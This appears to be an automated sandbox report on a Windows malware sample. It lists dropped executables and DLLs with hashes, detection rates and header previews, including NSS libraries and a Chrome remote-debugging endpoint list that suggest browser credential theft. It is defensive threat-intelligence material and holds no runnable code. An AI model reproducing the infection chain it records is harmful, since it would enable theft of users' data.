Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1846784
Entropy (8bit):	7.9482826935582525
Encrypted:	false
SSDEEP:	49152:oL190+vuRlB360U24BwKE/SSTlL+kCrNh6Q1X/VmSDEIt:op9vuHGBmSSonNhZ1XMSn
MD5:	3EBF7BB70DC746683D4274C4AF45C8AC
SHA1:	C8E8A9AC38E48739061C5AF85430DB6B7524FF44
SHA-256:	5ACE1684387F82C6460F08DA599BBD3F11D56FC8E5404F5A345A099B7C64C478
SHA-512:	945DA4C90D5BF99478C3C6E56E62C781C6BBFF20301A82BB0F7B36741C89DABED5601EA07F1EE049E3A80E79C85F43D5AB0DC6E189A2DC1F59E3E045E1250A76
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................pI...........@...........................I.....PO....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... .@*..........v..............@...jvnpwyzl....../......x..............@...ubzpnpef.....`I.....................@....taggant.0...pI.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4373504
Entropy (8bit):	7.982558042301944
Encrypted:	false
SSDEEP:	98304:MzFe3hXc4HwYlfLsIHQrFjWpamuAKapcR4es7wdCbunL:wiLHwYlQ56afOGE7wkM
MD5:	8009FA9B3F6B5B95575A83C2F487F515
SHA1:	DF618866E5939F420342D3FE1007F4BAD31CE2AA
SHA-256:	72F200B10E86E1A4C4F1472FCA830FA83BB45115AC60A17A70617863367FA9BF
SHA-512:	31BE4E0E5631F6525E3312BC565348097AE7100C30312D28DAFE42A647AF782AC53BCC1766F91040C8AC986E70C28E98AB9A706D885C37866EADEC5CCC5D41B5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@.......................... ......d.B...@... ............................._.q.s...........................................................X....................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..7...q.......'.............@...ivdotsri.............'.............@...cxbxaeve..............B.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1985024
Entropy (8bit):	7.9507756114194965
Encrypted:	false
SSDEEP:	49152:PnkIJ9x3pmw2y1U0/VA9D2qK1ODPV69VjisvJ:PkIJb52y1K9aqGZ
MD5:	699F4008683185B4A050B05ACE13D601
SHA1:	70D47E8921906A344885C279AFA34522658BF06D
SHA-256:	FFC9A0FE541652271756108C9B20010B9F99024C69BC81111076AE8A132AE733
SHA-512:	64FD7F8BA560DC9FF4718D2087755B76CC815EDCDBAF124BA5F7F3B5F633A0870266E71D4BD42FCC041FFDAA087D2DD0B5CB7E9CD592534CD46B52307FA3B28C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. N...........@..........................PN.....t.....@.................................W...k.......D...................8.N...............................N..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .0,.........................@...aokahsxj.0....2.....................@...zuglusup......N......$..............@....taggant.0... N.."...(..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1787392
Entropy (8bit):	7.947067089957022
Encrypted:	false
SSDEEP:	49152:JkdEavK+krwYpd8pjbfdGKG0R3KAGuR/pe:6dEwoyFbfIKJR3Kmpe
MD5:	0537AFAC70B6FBC5A47749CAF7565B78
SHA1:	8EC7E7C48823C50E4C4EE6B6CD5C007EF964CAD8
SHA-256:	CC1EE7D61921FED5338F55FC6E9A0661CB78FB562E54280AEC23BE3ADCA5E73A
SHA-512:	46ED5FB954DFC82E3FCD6F383C25FD00426BBECD74741F1EE9372FA14918F7E98DF66BEDEA7C7BCCCBBAD49D271C1F0B1453702D0FC5B93343661589E408E89A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$........h...........@...........................h......H....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .@*...$......v..............@...lfcefhqr......O......x..............@...phkznexg......h...... ..............@....taggant.0....h.."...$..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.37978314970617
Encrypted:	false
SSDEEP:	48:SfNaoQRTEQZfNaoQMhQqfNaoQ8x4QtfNaoQoC0UrU0U8Q9:6NnQRTEQ1NnQEQyNnQ8x4QZNnQoC0Ura
MD5:	D87A92A79C59343570D8CE91F6FF6B65
SHA1:	2F71A0629F459993AB17562C8208DF7A66780067
SHA-256:	8FBCF2F684ABC29EB1E39D36E3910E0D4CE14263EA095F8C483277CF976FD570
SHA-512:	78639E8AE22ED4260C42D1A8A26082B6E70B7EE6F476F1C56F3E8A637C4B3CAAC9C098DF91B25FA63BE39E1E07130A41A1E3F20150748CF0BFA47C104D0971DD
Malicious:	false
Reputation:	unknown
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F598003C6510036AFBBBEA8DE037410B",.. "id": "F598003C6510036AFBBBEA8DE037410B",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F598003C6510036AFBBBEA8DE037410B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/B3DC98A6EA1AD7F6D8FF98A646BECF42",.. "id": "B3DC98A6EA1AD7F6D8FF98A646BECF42",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/B3DC98A6EA1AD7F6D8FF98A646BECF42"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2805248
Entropy (8bit):	6.498844095431356
Encrypted:	false
SSDEEP:	49152:tVCEKAhyLj6Kdq2EP1bSIcIaHnNAkJMcEp:tVCohyLxdwUIcrnNPSzp
MD5:	2636521BDC04A44FCFA2F00957445A04
SHA1:	410CDACF1D5343680913C86746B908F8E2F4FE86
SHA-256:	6EC188E021ED6D5A7DBE083969E72ADB44DC23165CAD269113C0BD0A726B5187
SHA-512:	2F5F4898DD3ADB44DEDA74C73F1B403CA04D2DF81D169B3D563647694854666E7FFBE6423F0E15A906B688F3BC1C7B8B03ED344E35055BF2D8ABE1D5689AD058
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@+.. ...`....@.. ........................+.....V8+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...idwitinv........l..:..............@...mjfbzujg. ... +....................@....taggant.@...@+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\shellcode[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	665088
Entropy (8bit):	7.735385458975907
Encrypted:	false
SSDEEP:	12288:bPl8meB2qKGMi2z93d3xmOSv5PGsTgrc8JZJXC+2JW4Q+o95vlcJL1yC5qj1n93Z:7l87B2N+2z93WXuR4WJX
MD5:	E7AA83909ACE3906EC75144CC33E024C
SHA1:	333EE9D7F4C683D8E0ED05BDADFBD2BAADE379E3
SHA-256:	24443CD457177EEED9C584E5D5AD194303FD94269FDB0D72E0DB598215A5C826
SHA-512:	508FD7984EA8B9D8C8B2CD3C7C3587941A6EE4627C7CF54FE56DB7DB75DBFF0ABDAF0DB1B0C46876DC6AD0CC21735BD7A2F0351D5EDEB735B2DE796BEEF2EA72
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 26%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Ag..............0..................`... ....@.. ....................................@..................................g..W....`..P............................................................................................`..H.............W{2./cx#... ...$..................@....text........`.......(.............. ..`.rsrc...P....`......................@..@.reloc..............."..............@..B.....................$.............. ..`........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008451001\shellcode.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.903167881740855
Encrypted:	false
SSDEEP:	12:hYNp/qwNFDvNbJw4xxaboR1XKCf0ktEjo+Y/lNQd40UlNRVxWU+oQL:hYNpnjbJwtsvXD05oP/l8tUlj7W7
MD5:	E3EB0A1DF437F3F97A64ACA5952C8EA0
SHA1:	7DD71AFCFB14E105E80B0C0D7FCE370A28A41F0A
SHA-256:	38FFD4972AE513A0C79A8BE4573403EDCD709F0F572105362B08FF50CF6DE521
SHA-512:	43573B0CBAAC6E2E1646E6217D2D10C40AD10B9DB1F4492D6740545E793C891B5E39283A082896C0392B88EB319DFA9392421B1C89C094C9CE9F31B53D37EBAF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<head>.<title>Welcome to nginx!</title>.<style>. body {. width: 35em;. margin: 0 auto;. font-family: Tahoma, Verdana, Arial, sans-serif;. }.</style>.</head>.<body>.<h1>Welcome to nginx!</h1>.<p>If you see this page, the nginx web server is successfully installed and.working. Further configuration is required.</p>..<p>For online documentation and support please refer to.<a href="http://nginx.org/">nginx.org</a>.<br/>.Commercial support is available at.<a href="http://nginx.com/">nginx.com</a>.</p>..<p><em>Thank you for using nginx.</em></p>.</body>.</html>.

C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1846784
Entropy (8bit):	7.9482826935582525
Encrypted:	false
SSDEEP:	49152:oL190+vuRlB360U24BwKE/SSTlL+kCrNh6Q1X/VmSDEIt:op9vuHGBmSSonNhZ1XMSn
MD5:	3EBF7BB70DC746683D4274C4AF45C8AC
SHA1:	C8E8A9AC38E48739061C5AF85430DB6B7524FF44
SHA-256:	5ACE1684387F82C6460F08DA599BBD3F11D56FC8E5404F5A345A099B7C64C478
SHA-512:	945DA4C90D5BF99478C3C6E56E62C781C6BBFF20301A82BB0F7B36741C89DABED5601EA07F1EE049E3A80E79C85F43D5AB0DC6E189A2DC1F59E3E045E1250A76
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................pI...........@...........................I.....PO....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... .@*..........v..............@...jvnpwyzl....../......x..............@...ubzpnpef.....`I.....................@....taggant.0...pI.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1787392
Entropy (8bit):	7.947067089957022
Encrypted:	false
SSDEEP:	49152:JkdEavK+krwYpd8pjbfdGKG0R3KAGuR/pe:6dEwoyFbfIKJR3Kmpe
MD5:	0537AFAC70B6FBC5A47749CAF7565B78
SHA1:	8EC7E7C48823C50E4C4EE6B6CD5C007EF964CAD8
SHA-256:	CC1EE7D61921FED5338F55FC6E9A0661CB78FB562E54280AEC23BE3ADCA5E73A
SHA-512:	46ED5FB954DFC82E3FCD6F383C25FD00426BBECD74741F1EE9372FA14918F7E98DF66BEDEA7C7BCCCBBAD49D271C1F0B1453702D0FC5B93343661589E408E89A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$........h...........@...........................h......H....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .@*...$......v..............@...lfcefhqr......O......x..............@...phkznexg......h...... ..............@....taggant.0....h.."...$..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.59248270219208
Encrypted:	false
SSDEEP:	12288:8qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgarT8lx:8qDEvCTbMWu7rQYlBQcBiT6rprG8av4
MD5:	143C4039D125E72CE6D0CE771F89C518
SHA1:	AD5F6BDAD7301B371A623B024C2444B9D4EF7495
SHA-256:	DC7B10F48766A87A2B7E0A4CFE2F61E8C0C1EB456CBEF0E9012C4010AECD15AD
SHA-512:	6CB458281B3DA62F00AF0489DB4F80399AF4621D690D62D6C115D0B46943FF74BF0FAC405B2022D27DBF2AEEDA5A1BC0E8DBF0479EB0CAD0EDCA9A1FE981D2E5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...p.Ag.........."..........d......w.............@..........................p......<.....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2805248
Entropy (8bit):	6.498844095431356
Encrypted:	false
SSDEEP:	49152:tVCEKAhyLj6Kdq2EP1bSIcIaHnNAkJMcEp:tVCohyLxdwUIcrnNPSzp
MD5:	2636521BDC04A44FCFA2F00957445A04
SHA1:	410CDACF1D5343680913C86746B908F8E2F4FE86
SHA-256:	6EC188E021ED6D5A7DBE083969E72ADB44DC23165CAD269113C0BD0A726B5187
SHA-512:	2F5F4898DD3ADB44DEDA74C73F1B403CA04D2DF81D169B3D563647694854666E7FFBE6423F0E15A906B688F3BC1C7B8B03ED344E35055BF2D8ABE1D5689AD058
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@+.. ...`....@.. ........................+.....V8+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...idwitinv........l..:..............@...mjfbzujg. ... +....................@....taggant.@...@+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4373504
Entropy (8bit):	7.982558042301944
Encrypted:	false
SSDEEP:	98304:MzFe3hXc4HwYlfLsIHQrFjWpamuAKapcR4es7wdCbunL:wiLHwYlQ56afOGE7wkM
MD5:	8009FA9B3F6B5B95575A83C2F487F515
SHA1:	DF618866E5939F420342D3FE1007F4BAD31CE2AA
SHA-256:	72F200B10E86E1A4C4F1472FCA830FA83BB45115AC60A17A70617863367FA9BF
SHA-512:	31BE4E0E5631F6525E3312BC565348097AE7100C30312D28DAFE42A647AF782AC53BCC1766F91040C8AC986E70C28E98AB9A706D885C37866EADEC5CCC5D41B5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@.......................... ......d.B...@... ............................._.q.s...........................................................X....................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..7...q.......'.............@...ivdotsri.............'.............@...cxbxaeve..............B.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1985024
Entropy (8bit):	7.9507756114194965
Encrypted:	false
SSDEEP:	49152:PnkIJ9x3pmw2y1U0/VA9D2qK1ODPV69VjisvJ:PkIJb52y1K9aqGZ
MD5:	699F4008683185B4A050B05ACE13D601
SHA1:	70D47E8921906A344885C279AFA34522658BF06D
SHA-256:	FFC9A0FE541652271756108C9B20010B9F99024C69BC81111076AE8A132AE733
SHA-512:	64FD7F8BA560DC9FF4718D2087755B76CC815EDCDBAF124BA5F7F3B5F633A0870266E71D4BD42FCC041FFDAA087D2DD0B5CB7E9CD592534CD46B52307FA3B28C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. N...........@..........................PN.....t.....@.................................W...k.......D...................8.N...............................N..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .0,.........................@...aokahsxj.0....2.....................@...zuglusup......N......$..............@....taggant.0... N.."...(..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Reputation:	unknown
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\tmpaddon

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
